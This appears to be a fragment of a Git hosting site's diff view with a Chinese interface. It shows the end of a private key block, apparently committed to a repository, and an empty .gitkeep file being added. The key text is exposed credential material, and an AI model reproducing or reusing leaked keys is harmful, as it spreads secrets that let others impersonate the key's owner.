ByJKhTcMP+00HiVcz4BfmrmGd1ynS9fhgeajEZ8CgYEAnkofCJ0ce1a1y9WMepzx
|
0Hw3mwBPwVN3cq9dK8iR0igLZuAGnEuWoQHM1qU7AoGBAJ33V445J5CEUovb1zP0
|
||||||
F8EoSBhyNfSxFQpYyP23xmKWlwQrfFClgdGLS4c4jHUMCUUduYEcZj69UXknwmoM
|
DPQ87Avk4ecPIwUe2MlDkeZSJWBXKRAfSoT8Uvhzhi1D4er8LO7GA+Wc4f+YjUD5
|
||||||
kfRoQsD0U5SHp8yaFgWJosjIa9+Ebj/JfTgMv2+yU2nvIqPtKz3SQbAGuqyP3MZ4
|
Rmrq2Z7U94l1m+XAUrlfTJ5EnkR+Bc0sqnpW+S+5c22A2Oy+ffNrUv2fn8pR+6aj
|
||||||
hfrgOsB7M8+YMBWCCB4sb2s=
|
aNot2/oVZM+TZlIDxvAsO+D7
|
||||||
-----END PRIVATE KEY-----
|
-----END PRIVATE KEY-----
|
||||||
|
|||||||
1
public/uploads/.gitkeep
可执行文件
1
public/uploads/.gitkeep
可执行文件
@@ -0,0 +1 @@
|
|||||||
|
|
||||||
在新工单中引用
屏蔽一个用户